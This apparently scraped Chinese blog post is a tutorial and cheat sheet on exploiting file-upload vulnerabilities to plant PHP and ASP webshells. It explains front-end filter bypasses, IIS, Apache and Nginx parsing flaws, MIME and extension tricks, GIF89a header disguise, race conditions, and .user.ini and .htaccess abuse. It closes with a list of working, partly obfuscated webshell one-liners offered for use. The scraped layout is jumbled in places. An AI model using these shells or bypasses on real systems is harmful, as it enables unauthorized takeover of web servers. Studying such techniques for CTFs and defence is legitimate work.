參考文章:
https://www.cnblogs.com/20175211lyz/p/10989689.html
https://www.cnblogs.com/wangtanzhi/p/12243206.html
https://xz.aliyun.com/t/7531
寫在前面:
檔案上傳漏洞常用于擷取
webshell
,進而取得對目标網站(系統)的控制權。要擷取
shell
,需要: 1.知道上傳後檔案所儲存位置(不知道那就猜、爆破,一般是能知道的) 2.上傳後檔案的名字(是否被更改)
一句話木馬
<?php eval($_POST['password']);?>
一句話木馬原理及不同類型:
https://baike.baidu.com/item/%E4%B8%80%E5%8F%A5%E8%AF%9D%E6%9C%A8%E9%A9%AC/1845646?fr=aladdin
在文章後續會根據例子提供一句話木馬的變式
毫無過濾
- 直接上傳即可擷取
webshell
前端過濾
繞過js過濾
例:
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("請選擇要上傳的檔案!");
return false;
}
//定義允許上傳的檔案類型
var allow_ext = ".jpg|.png|.gif";
//提取上傳檔案的類型
var ext_name = file.substring(file.lastIndexOf("."));
//判斷上傳檔案類型是否允許上傳
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "該檔案不允許上傳,請上傳jpg、png、gif結尾的圖檔噢!";
alert(errMsg);
return false;
}
}
繞過方式:
-
1
在控制台重新定義函數
回車即可(注:需要在未觸發該函數前)function checkFile(){}
檔案上傳 -
2
将一句話木馬檔案字尾改為
後,點選上傳。用.png .jpg .gif
截斷,然後将檔案名再替換成BurpSuite
.php
檔案上傳
後端過濾
利用解析漏洞繞過
轉載,原文位址:
https://blog.csdn.net/qq_42636435/article/details/88096844
-
-
解析漏洞IIS
-
IIS 6.0在解析檔案時存在以下兩個解析漏洞。
當建立.asa、.asp格式的檔案夾時,其目錄下的任意檔案都将被IIS當做asp檔案來解析。
例如:建立檔案夾parsing.asp,在parsing.asp檔案夾内建立一個文本文檔test.txt,其内容為<%=NOW()%>,然後在浏覽器内通路。
“NOWO”是ASP提供擷取目前時間的函數,TXT是文本文檔格式,IIS是不會去解析此類檔案的,應該會直接顯示其内容,而在parsing.asp檔案夾中,卻被當作ASP腳本來解析。
當檔案為*.asp;1.jpg時,IIS6.0同樣會以ASP腳本來執行,如:建立檔案test.asp;1.jpg,内容為<%=NOW()%>。
-
-
Apache
-
Apache是從右到左開始判斷解析,如果為不可識别解析,就再往左判斷,如xxx.php.owf.rar ,”.owf”和”.rar”這兩種字尾是apache解析不了的,apache就會把xxx.php.owf.rar解析成php。
怎麼去判斷是不是合法的字尾就是這個漏洞利用關鍵,測試時把常見的字尾都寫上,去測試是不是合法,任意不識别的字尾,逐級向上識别。
有些程式開發人員在上傳檔案時,判斷檔案名是否是PHP、ASP、ASPX、ASA、CER、ASPX等腳本擴充名,如果是,則不允許上傳,這時攻擊者就有可能上傳1.php.rar等擴充名來繞過程式檢測,并配合解析漏洞,擷取到WebShell。
-
-
Nginx
-
解析: (任意檔案名)/(任意檔案名).php | (任意檔案名)%00.php
描述:目前Nginx主要有這兩種漏洞,一個是對任意檔案名,在後面添加/任意檔案名.php的解析漏洞,比如原本檔案名是test.jpg,可以添加為test.jpg/x.php進行解析攻擊。
還有一種是對低版本的Nginx可以在任意檔案名後面添加%00.php進行解析攻擊。
猜測過濾規則繞過
- 1.檔案字尾名黑名單:
大小寫繞過利用能被解析的字尾名,例如
Php、PhP···
php、php3、php4、php5、php7、pht、phtml、phps
- 2.MIME類型繞過
抓包,更改
BurpSuite
請求頭為
content-type
image/gif、image/png、image/jpg
![]()
檔案上傳
- 3.圖檔馬内容檢測
解決辦法:更換一句話木馬形式![]()
檔案上傳 等等
<% eval request("123")%>
- 4.檔案内容頭檢測
上述方法均失效時可以考慮一下網站是否檢測了檔案頭
解決方法1:添加圖檔檔案頭到木馬檔案
檔案頭對照參考:
GIF89a? <% eval request("123")%>
https://blog.csdn.net/rrrfff/article/details/7484109
解決方法2:将一張圖檔與一句話木馬檔案結合
1.記事本打開圖檔,在末尾或者之中添加一句話木馬 2.使用指令将圖檔與木馬檔案結合,連結:
(注:麻煩,且指令好像不對)
https://jingyan.baidu.com/article/a65957f42c7c1224e67f9bb1.html
其他姿勢
競争上傳
- 檔案上傳後,網站系統會對檔案進行惡意代碼檢測,若是存在惡意代碼,則會删除該檔案
- 若在這個操作的時間之内,通路該上傳的檔案,利用之間的時間差來擷取shell
.user.ini
利用 (注:上傳目錄下要有可執行的 php
檔案,一般是自帶的,而不是自己上傳的,要是可以的話,還需要這麼多騷操作幹什麼)
.user.ini
php
大佬的教程連結:
https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html
利用方式的複現位址:
https://buuoj.cn/challenges#[SUCTF%202019]CheckIn
Apache
的 .htaccess
Apache
.htaccess
https://www.cnblogs.com/hmbb/p/9689436.html
常用一句話木馬(php)
-
比較好用GIF89a? <script language="php">eval($_REQUEST[shell])</script>
-
<script language=php>system("ls")</script>
-
<?php @preg_replace("/[email]/e",$_POST['h'],"error"); ?> //使用這個後,使用菜刀一句話用戶端在配置連接配接的時候在"配置"一欄輸入"h=@eval($_POST[c]);"
-
<?php $c='ass'.'ert';${c}($_POST[4]);?>
Attention:
一般要利用檔案上傳漏洞需要結合上述多種操作才行,需要靈活變通